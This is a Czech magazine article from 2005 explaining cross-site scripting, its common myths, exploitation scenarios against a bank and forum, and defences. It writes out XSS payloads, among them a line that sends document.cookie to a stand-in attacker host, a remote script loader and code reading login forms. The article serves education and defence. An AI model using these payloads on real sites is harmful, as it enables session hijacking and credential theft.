NESMRTELNÝ CROSS-SITE SCRIPTING

Autoři článku: **Martin Mačok, Vít Strádal – DCIT, s.r.o.**
http://www.dcit.cz

Článek zveřejněn v časopise **Data Security Management** 3/2005
http://www.dsm.tate.cz

K nejrozšířenějším a zároveň nejvíce opomíjeným, podceňovaným a často ne zcela pochopeným problémům webových aplikací patří slabiny typu Cross-site scripting, zkráceně XSS. Útočník při nich zneužívá benevolentního zpracování uživatelských vstupů webové aplikace k podstrčení zlomyslného kódu do stránky prezentované nic netušícímu uživateli. Cílem útoku může být například ztráta dobré pověsti provozovatele aplikace nebo získání plnohodnotného přístupu k webové aplikaci s privilegii napadeného uživatele.

Cross-site scripting (XSS) útok lze považovat za speciální případ útoků typu Code Injection, při nichž útočník vloží na vybrané místo (vstup aplikace) vlastní *zlomyslný* obsah (kód), který je následně aplikací přenesen na jiné místo (výstup) a interpretován (spuštěn) v kontextu, který by bez použití této techniky byl útočníkovi jinak nedostupný.

V případě XSS je tímto vstupem vybraný parametr HTTP žádosti dynamické webové aplikace (např. parametr v URL, položka formuláře nebo hodnota cookie), zlomyslným obsahem je kód interpretovatelný webovým prohlížečem (např. HTML kód nebo javascript), výstupem je serverem dynamicky generovaná stránka poskytnutá v HTTP odpovědi a kontextem je uživatelská seance (jiný termín je relace) klienta přistupujícího k aplikaci.

Management summary

Článek objasňuje principy velmi rozšířených slabin webových aplikací nazývaných cross-site scripting (XSS). Poukazuje na mýty spojené s tímto problémem a ukazuje různé pokročilé techniky jeho zneužití. Naznačuje, jak může uživatel minimalizovat vyplývající rizika, přestože skutečné řešení problému spočívá v opravě webové aplikace.

Vysvětlení na jednoduchém příkladu

Mějme webovou aplikaci s funkcí fulltextového vyhledávače. Pokud uživatel do formuláře napíše text „VSTUP“ a stiskne tlačítko, webový prohlížeč pošle serveru žádost /search.asp?q=VSTUP a ten odpoví zpět stránkou, která obsahuje text „výsledek vyhledání textu VSTUP ...“. Důležitou podmínkou je zde ono doslovné opsání hodnoty vstupního parametru do odpovědi s výsledkem. Pokud se do formuláře zadá např. text ahoj<script>alert(666)</script>, prohlížeč pošle žádost /search.asp?q=ahoj<script>alert(666)</script> a server odpoví stránkou obsahující text výsledek vyhledání textu ahoj<script>alert(666)</script> …. Uživatel tedy vidí stránku s textem „výsledek vyhledání textu ahoj ...“ a zároveň na něj *vyskočí* varovné dialogové okno s textem 666 (skript je interpretován).

Problém nastane, pokud útočník nyní zkopíruje adresu (URL) stránky s podstrčeným kódem (zde například http://www.example.com/search.asp?q=ahoj<script>alert(666)</script>) a pošle ji někomu (např. emailem), kdo stránku prostřednictvím tohoto odkazu navštíví. Všimněte si, že javascriptový kód (v URL) původně pochází od útočníka (ten jej vložil do odkazu), oběť jej však obdrží i v odpovědi od serveru (kterému důvěřuje) a tak s ním i zachází. To je nebezpečné vzhledem k tomu, že bezpečnostní modely webových prohlížečů jsou především založeny na identitě a důvěryhodnosti zdroje obsahu (včetně kódu). Jinými slovy javascriptový kód pocházející ze serveru www.example.com má možnost plně manipulovat s webovým prohlížečem v rámci uživatelské seance mezi prohlížečem a serverem www.example.com, neboť z hlediska prohlížeče kód pochází ze stejného serveru (tzv. same-origin policy). Fakt, že konkrétní kus kódu díky XSS ve skutečnosti pochází od útočníka a server jej prohlížeči uživatele pouze zprostředkoval, není schopen prohlížeč odhalit.

Z technického hlediska bezpečnost vlastního serveru i webové aplikace (nikoliv však služby jako celku!) zůstává útokem prakticky nedotčena, primární obětí je pouze uživatel. Za bezpečnost serveru je v typickém případě zodpovědný jeho administrátor (případně webmaster), oba mají tendenci vnímat bezpečnost pouze v kontextu technologické odolnosti vůči přímým útokům na server. Z toho vyplývá obecná tendence podceňování XSS a zřejmě i skutečnost, že se s tímto problémem setkáváme i po mnoha letech se stále stejně vysokou frekvencí a u všech typů webových aplikací.

Rozšířené mýty

Kolem problému XSS se v obecném povědomí vyskytují různé polopravdy či mýty. Diskutujme ty nejrozšířenější:

Mýtus č. 1: Uživatel musí kliknout

Nikoliv, uživatel může např. navštívit stránku, která již zlomyslný kód obsahuje nebo příslušný odkaz nahraje např. v rámci neviditelného rámce či pop-up okna. Typickým příkladem jsou webová diskusní fóra a freemaily.

Mýtus č. 2: XSS v odkazu uvidím

To je rozumný názor , nicméně útočník může skutečný odkaz v prohlížeči maskovat (např. manipulací se stavovou lištou prohlížeče javascriptem), nebo jej může znepřehlednit pomocí hexadecimálního kódování znaků URL anebo může na cílový odkaz prohlížeč oběti navigovat pomocí přesměrovávání (redirectů) či služeb typu tinyurl.com. Zlomyslný kód se navíc vůbec nemusí nacházet v adrese stránky, ale může být uložen na serveru, např. jako součást nastavení profilu pro konkrétní hodnotu identifikace seance (session ID).

Mýtus č. 3: Aplikace omezuje délku vstupu a proto je bezpečná

I několik málo desítek znaků může stačit ke kompletnímu přepsání obsahu generované stránky. Stejně tak lze v XSS uvést pouze jakýsi zavaděč kódu a vlastní funkční kód pomocí něj průběžně nahrávat z cizího webového serveru, jehož obsah je pod kontrolou útočníka (např. použitím nástroje xss-proxy – viz dále v textu).

Mýtus č. 4: XSS je zneužitelné pouze v kontextu příslušného okna

Nikoliv, útočník může např. zneužít způsob udržování kontextu uživatelských seancí (typicky pomocí cookies) a v novém okně (nebo skrytém rámci) například zadat příkaz pomocí parametrů v URL. Navíc, pokud jiná cílová aplikace rovněž obsahuje XSS chybu, může jejím zneužitím útočník získat plnohodnotný přístup k další uživatelské seanci.

Jinými slovy zneužitím jedné XSS chyby v rámci jedné uživatelské seance s konkrétním serverem je možné získat přístup ke všem uživatelským seancím s jinými aplikacemi na jiných serverech, pokud tyto rovněž obsahují XSS slabinu!

Mýtus č. 5: XSS je nebezpečné pouze v době, kdy k aplikaci přistupuji

Nikoliv, pokud je uživatel napaden XSS v rámci seance s libovolným serverem, zlomyslný kód může vytvořit skryté okno nebo rámec, ve kterém si počká do doby, než se uživatel ke konkrétní aplikaci přihlásí.

Jindy lze dokonce využít automatického předvyplňování uživatelských jmen a hesel (tzv. autofill nebo prefill) do přihlašovacích formulářů a pomocí javascriptu takto předvyplněné údaje přečíst nebo rovnou použít.

Mýtus č. 6: Naše aplikace je v intranetu, a proto není zneužitelná

Pokud je na libovolném WWW serveru na Internetu napaden uživatel z interní sítě a příslušná aplikace v intranetu obsahuje XSS chybu (kterou útočník zná), může ji zneužít prostřednictvím uživatelova napadeného prohlížeče a získat k ní (interaktivní) přístup, přestože se útočník i server s iniciujícím XSS útokem nacházejí v Internetu (viz mýtus č. 4).

Mýtus č. 7: Metodu POST nelze zneužít ke XSS

Drtivá většina webových aplikací obsluhujících formuláře metodou POST stejná data akceptují i metodou GET. Stačí tedy vyrobit URL, na jehož konec útočník přidá otazník s parametry formuláře (standardní konverze POST metody na GET metodu). Mimoto s použitím javascriptu lze vyrobit obyčejně vyhlížející odkaz, jehož aktivací je možné metodu POST použít.

Mýtus č. 8: HTTPS je vůči XSS imunní

Nikoliv, XSS útok je zcela nezávislý na přenosovém protokolu. Protokol HTTPS pouze zajišťuje bezpečný přenos dat mezi koncovými body (serverem a prohlížečem), daty samotnými se nezabývá. Rovněž nijak nezkoumá, co se s daty na těchto koncových bodech děje. XSS útok míří právě na tyto koncové body (aplikační logiku serveru i uživatelův prohlížeč) a jejich způsob zpracování přenesených dat.

Mýtus č. 9: Bez javascriptu není XSS

Ani prohlížeč s vypnutým javascriptem není proti XSS imunní, i když v tomto případě se mluví spíše o tzv. HTML Embedding. Útočník je v tomto případě zaměřen na manipulaci s uživatelem a zneužívá důvěryhodnosti cílového serveru.

Techniky zneužití XSS

I když název cross-site scripting naznačuje použití javascriptu, ne vždy tomu tak musí být. Zůstaneme u příkladu z vyhledáváním: útočník sestaví URL, pomocí kterého přesvědčí napadeného uživatele, že Banka B vyhlásila bankrot:
`http://www.example.com/search?q=bankrot:<br>Banka B. vyhlasila bankrot.`

Výsledná stránka bude vypadat takto:

```
Výsledek hledání bankrot:
Banka B. vyhlásila bankrot.
nebyly nalezeny žádné výsledky.
```

Poslední řádek by mohl v uživateli vzbudit podezření, že něco není v pořádku. Útočník by udělal lépe, kdyby zprávu o nenalezení výsledků zamaskoval. Asi nejjednodušším způsobem je použít HTML komentář (<!--), případně by mohl nastavit barvu textu stejnou jako barva pozadí (), nebo nastavit velikost fontu na

nečitelně malou hodnotu (např. 1 bod). Jinou možností je „vytlačit“ nevhodný text pod okraj prohlížeče:

```
<span style="display:block;height:1000px"></span>
```

Všechny tyto techniky používají pouze HTML a není nutné, aby uživatel měl povolený javascript. Obětí je zmanipulovaný uživatel, ale stejně tak může být poškozena i pověst provozovatele. Příklad zneužití viz scénář č.1 v boxu č. 1.

IFRAME (stále bez javascriptu)

Další metodou je použít HTML tag iframe. Jeho atribut src může ukazovat na předem připravenou stránku.

```
<iframe src="http://xss.zly.cz"/>
```

Samozřejmě je vhodné vyladit atributy rámu jako šířka, výška, okraj a vodící lišta:

```
<iframe src="http://xss.zly.cz" width=100% heiht=1000px frameborder=0 scrolling=no />
```

InnerHTML (již s javascriptem)

Často se stává, že XSS se objevuje hluboko uvnitř stránky. Bez ovlivnění předchozího obsahu by vložený text vypadal podezřele (např. zpráva o bankrotu banky uprostřed výsledků vyhledávání).

Naštěstí pro útočníka javascript disponuje silným arzenálem pro manipulaci s obsahem stránky. Každý HTML objekt má vlastnost (property) innerHtml. Následující kód ukazuje způsob nahrazení celé stránky za jinou (s potenciálně škodlivým obsahem):

```
<script>document.body.innerHtml="<iframe src='http://www.zly.cz/'/>"</script>
```

Problémy při použití HTTPS

Je-li při přístupu k aplikaci použit protokol HTTPS, může být problém se zpětnou vazbou (tedy zasláním získaných informací zpět útočníkovi). Pokud se v kontextu zabezpečených stránek vyskytne dotaz na stránky nezabezpečené (tedy přes HTTP), prohlížeč zpravidla zobrazí varování; často i s informací, kam nezabezpečený dotaz směřuje. To by v mohlo vyvolat podezření. Pokud však dotaz se zpětnou vazbou bude realizován také pomocí HTTPS, běžně používané prohlížeče uživatele neupozorní, přestože dotaz směřuje na *jiný* server (s platným certifikátem).

Absolutní záruku, že útok nevzbudí podezření, zajistí, když bude zpětná vazba realizovaná přímo danou aplikací resp. její částí, ve které je nějaká akce uživatele viditelná i pro jiného uživatele (nejlépe anonymního). Může jít např. o diskusní fórum nebo třeba úpravu veřejně přístupných informací o uživateli a pod. Útočník pak tuto změnu zaznamená regulérním přístupem k aplikaci.

Problémy zpětné vazby řeší scénáře uvedené v Boxu 2.

Vzdálené ovládání prohlížeče pomocí XSS-proxy

Nástroj XSS-proxy značně zjednodušuje zneužití XSS a umožňuje vzdálené interaktivní ovládání napadeného prohlížeče.

XSS-proxy je vlastně HTTP server, který naslouchá na útočníkově serveru. Tento HTTP server zprostředkovává komunikaci mezi útočníkem a napadeným prohlížečem. Útočník může na serveru zjišťovat aktivitu napadených obětí, zobrazovat obsah napadeného okna

a předávat příkazy v javascriptu. Naopak napadený prohlížeč využívá server pro získávaní nových požadavků od útočníka a pro zpětné oznámení výsledků.

Celý útok probíhá takto: útočník zprovozní XSS-proxy na www.zly.cz, zneužije XSS ve stránkách www.example.com a tím vnutí uživateli kód zdánlivě přicházející právě ze stránek www.example.com. Podstrčený kód je poměrně krátký:

```
<script src="http://www.zly.cz/xss2.js"></script>
```

Prohlížeč kontaktuje XSS-proxy na www.zly.cz, stáhne a provede xss2.js. Tento javascript způsobí, že se prohlížeč každých 6 sekund opět přihlásí k XSS-proxy a zkontroluje, jestli není k dispozici nový požadavek.

Mezitím se k XSS-proxy připojí i útočník. Zde má přehled aktivních napadených uživatelů a formulář pro zadávání javascriptových příkazů, které budou prováděny u napadené oběti. Dále může napadeného klienta požádat o nahrání libovolné stránky a zobrazení jejího obsahu. Tuto stránku pak může pomocí javascriptu ovládat (např. vyplnit formulář, odeslat ho a podobně). Vzhledem k tzv. same-origin policy je možné takto přímo ovládat pouze stránky pocházející ze stejného místa jako napadená stránka (v našem případě: www.example.com).

Popisované techniky lze libovolně kombinovat do různých jednodušších i složitějších útoků. Ty jednodušší, při kterých je například podvržen obsah stránky nebo zcizena cookie seance, popisují scénáře v boxu 1. Příklady složitějších útoků, kdy je např. kombinováno i více slabin z různých serverů, jsou uvedeny v boxu 2.

Box 1

Scénáře jednodušších útoků

Scénář č. 1: Defacement

Předpoklad: banka B má na stránkách XSS.

Útočník si připraví URL, které modifikuje stránku.

Oběť klikne na připravené URL. Zobrazená stránka zdánlivě pochází od banky B, zobrazené informace mohou firmu poškozovat (bankrot banky, přiznání korupce uvnitř banky), nebo se mohou snažit manipulovat s obětí (výherní listina obsahující oběť, výhodné nabídky a nebo naopak oznámení hrozby).

Scénář č. 2: krádež cookie

Předpoklad: banka B má na stránkách XSS.

Uživatel je přihlášený v aplikaci banky B. Seance je v aplikaci banky B identifikována pomoci cookie.

Uživatel v průběhu této seance (např. v jiném okně) „šlápne“ na XSS. V kontextu aplikace banky B je v uživatelově prohlížeči spuštěn škodlivý javascript.

Zjistit hodnotu cookie lze javascriptem pomoci document.cookie. Mohlo by se zdát, že je problém získanou cookie dostat zpět k útočníkovi. Stačí však vygenerovat HTTP dotaz (obsahující hodnotu cookie v URL) směřující na server ovládaný útočníkem. Následující příklad předpokládá existenci obrázku se jménem obrazek (tedy <img name='obrazek' … >):

```
obrazek.src="http://www.zly.cz/picture.jpg?"+document.cookie
```

Box 2

Scénáře složitějších útoků řešící problém zpětné vazby

Scénář č. 3: útok při současném přihlášení

Předpoklady: oběť je přihlášena v aplikaci pro správu účtu u banky B. Aplikace banky B obsahuje XSS.

Útočník podstrčí oběti URL zneužívající XSS (kreativní metoda podstrčení z pomocí diskusního fóra je popsána dále). Pomocí javascriptu je získána identifikace seance (typicky cookie) a ta je zaslána útočníkovi.

Útočník nyní může v aplikaci banky B provádět akce s oprávněním oběti, neboť zná cookie identifikující seanci. Útočník však při tomto útoku nezjistil jméno a heslo oběti a při jejím odhlášení získané oprávnění ztratil.

Scénář č.4: čekání na heslo

Předpoklady: banka B má na stránkách XSS. Vlastní aplikace vyžaduje pro přístup jméno a heslo. Webová aplikace používá pojmenované rámce.

Útočník podstrčí oběti závadné URL s XSS. Javascriptem je vytvořeno nové skryté okno.

Škodlivý kód má dva úkoly:

1) počkat, až uživatel otevře nové okno a bude se snažit přihlásit do banky B,

2) získat informace z přihlašovacího formuláře (uživatelské jméno a heslo) a odeslat je.

První úkol je možné provést následujícím způsobem: javascript změní document.cookie (např. na prázdnou hodnotu). V okamžiku, kdy uživatel otevře nové okno a připojí se na stránky Banky B, dojde ke změně cookie zpět na hodnotu požadovanou serverem. Jelikož je cookie pro všechny stránky společná, zjistí tuto změnu i javascript ve skrytém okně.

Druhý úkol je snadný, pokud aplikace používá pojmenované rámce. Následující kód vrátí odkaz na požadované okno (předpokládáme, že inkriminovaný rám s přihlašovacím formulářem se jmenuje left):

```
w=open('','left');
```

Hodnotu uživatelského jména resp. hesla z formuláře je možné zjistit pomocí l=w.document.forms[0].login.value resp. p=w.document.forms[0].password.value. Jména položek samozřejmě závisí na konkrétním formuláři.

Poté musí javascript získané hodnoty „předat“ útočníkovi (viz výše).

Scénář č. 5: útok z diskusního fóra

Předpoklady: oběť používá banku B, která trpí XSS. Oběť dále používá diskusní fórum F, které také trpí XSS.

Útočník vloží do diskusního fóra XSS. Oběť vstoupí do diskuse a tím se spustí XSS. Javascript následně zneužije XSS ve stránkách banky B. V tomto okamžiku v prohlížeči oběti běží javascript v kontextu www.bankaB.cz. Pokud je útok precizní, oběť nic nezpozoruje.

Oběť opustí fórum a rozhodne se podívat do banky B. Javascript skrytě běžící ve stejném kontextu, může přistupovat k oknu banky, tedy například k formuláři pro přihlášení, a ukrást uživatelské jméno a heslo (viz výše).

Scénář č. 6: session fixation aneb vnucení cookie

Předpoklady: aplikace banky B pro nakládání s účtem běží na HTTPS (port 443). Seance je identifikována pomocí cookie. Tato aplikace XSS netrpí. Ovšem úvodní informační stránky banky B běží na HTTP (port 80) na stejném serveru a chybu XSS obsahují.

Útočník podstrčí oběti URL zneužívající XSS na HTTP (metoda podstrčení může být kreativní jako v předchozím případě). Javascriptem je nastavena cookie pro daný server.

Oběť vstoupí na HTTPS stránky a prohlížeč pošle podstrčenou cookie.

Server uvidí neznámou cookie, usoudí, že jde cookie, jejíž platnost již vypršela a kterou si tudíž nepamatuje, nechá tedy oběť znovu se přihlásit. Hodnotu cookie však nezmění a akceptuje ji (jiná, běžně se vyskytující a na první pohled neškodná slabina webových aplikací).

Oběť se přihlásí do banky B.

Útočník nyní může provádět akce s oprávněním oběti, neboť zná cookie, identifikující seanci.

Prevence a obrana

Webové aplikace by měly veškeré uživatelské vstupy (přímé i nepřímé) důkladně kontrolovat, konkrétně zda obsahují data pouze v předem definovaném formátu. Zejména je nutno kontrolovat obsah vstupů, jejichž hodnoty se opisují (či jinak promítají) do výstupů aplikace, v tomto případě do dynamicky generovaných webových stránek. Vhodné je předem definovat množiny povolených znaků či řetězců pro konkrétní vstupy a zakázat (případně vhodným způsobem bezpečně zneškodnit nebo zneutralizovat) vše ostatní. Zejména je nutné ošetřit znaky uvozující HTML a javascript kód, tedy především < >, ale i znaky " ' % ;) (& + - (i když existují ne zcela výjimečné případy, kdy lze obsah generované stránky nebezpečně zmanipulovat i bez použití těchto znaků).

Kvalitní ochrana webové aplikace před XSS útoky však nespoléhá pouze na kontrolu vstupů aplikace, nýbrž důkladně kontroluje i její výstupy, neboť vnitřní logika aplikace může být natolik složitá, že i na první pohled neškodné vstupy může aplikace zpracovat takovým způsobem, že výstup bude obsahovat útočníkův kód.

Z hlediska uživatele webového prohlížeče (zatím) žádná jednoduchá a stoprocentně účinná obrana neexistuje. Mnoha (nikoliv všem) nebezpečným XSS útokům se lze vyhnout vypnutím javascriptu, bohužel typicky právě ty nejdůležitější a nejkritičtější aplikace ke své funkci javascript vyžadují (ponechme stranou fakt, že mnohdy zcela zbytečně). Kompromisem by mohlo být povolování a zakazování javascriptu podle toho, s jakými aplikacemi či s jakými servery uživatel právě pracuje. V prohlížeči Internet Exlorer je toho možné dosáhnout pomocí vhodného nastavení tzv. zón. Riziko může částečně zmenšit i omezení pravomocí javascriptového interpretu v prohlížeči, jako lze např. v prohlížeči Mozilla (resp. Firefox) i když současné možnosti tohoto nastavení jsou silně omezené.

Obecně lze doporučit při přístupu na WWW dodržovat běžná „hygienická“ pravidla: navštěvovat pouze důvěryhodné servery, následovat pouze důvěryhodné odkazy, na citlivé aplikace přistupovat pouze přes vlastní záložky nebo ručně napsané adresy. Je velmi vhodné separovat uživatelské seance s citlivými aplikacemi a běžné surfování po Internetu, v ideálním případě obojí provádět na různých počítačích příp. alespoň různými prohlížeči nebo před přístupem do citlivé aplikace uzavřít všechna okna prohlížeče. Po použití aplikace je vhodné korektně se odhlásit a poté uzavřít všechna okna prohlížeče.

Závěr

Jak je vidět z logiky XSS útoků a používaných technik, uživatel je proti XSS prakticky bezbranný. Kritickým místem je totiž slabina ve webové aplikaci. Tu však často nejsou zodpovědní administrátoři ochotni opravit, neboť není přímo ohrožena bezpečnost jejich serveru. Proto se s jistotou budeme s tímto problémem setkávat i v budoucnu.

Literatura

[1] Malicious HTML Tags Embedded in Client Web Requests
CERT Advisory CA-2000-02
http://www.cert.org/advisories/CA-2000-02.html

[2] Gunter Ollman, Second-order Code Injection Attacks
http://www.ngssoftware.com/papers/SecondOrderCodeInjection.pdf

[2] Gunter Ollman: HTML Code Injection and Cross-site scripting
http://www.technicalinfo.net/papers/CSS.html

[3] OWASP Top Ten Most Critical Web Application Security Vulnerabilities
http://www.owasp.org/documentation/topten.html

[4] Anton Rager: XSS-Proxy – advanced Cross-Site-Scripting (XSS) attack tool *http://xss-proxy.sourceforge.net/*